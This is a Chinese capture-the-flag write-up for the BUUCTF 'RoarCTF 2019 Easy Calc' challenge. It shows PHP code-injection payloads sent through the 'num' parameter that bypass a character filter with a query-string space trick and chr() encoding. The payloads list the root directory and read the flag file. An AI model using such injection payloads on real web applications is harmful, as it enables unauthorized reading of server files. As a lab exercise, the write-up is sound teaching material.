BUUCTF [RoarCTF 2019]Easy Calc

一、 [RoarCTF 2019]Easy Calc

1、检查源码

       1、当拿到题目时,本人以为是使用Linux命令获取flag,但是尝试之后不行
在这里插入图片描述       2、检查源码,发现了calc.php,打开

在这里插入图片描述
       3、打开calc.php,发现题目过滤了好多东西
在这里插入图片描述

2、利用PHP的字符串解析绕过

       1、扫描目录下文件

scandir() 函数返回指定目录中的文件和目录的数组。
? num=print_r(scandir('/'))
# 这里由于斜杠被过滤,所以使用chr()绕过
? num=print_r(scandir(chr(47)))

在这里插入图片描述
       2、读取flag

             file_get_contents() 函数把整个文件读入一个字符串中。

? num=print_r(file_get_contents('/f1agg'))
由于有些东西被过滤,所以使用字符串来绕过
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
flag{6578237a-51cc-49b9-86aa-1345497dcef1} 

文章借鉴:https://blog.csdn.net/weixin_45674567/article/details/106498395,如有冒犯或错误,请及时告知,Thanks♪(・ω・)ノ!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值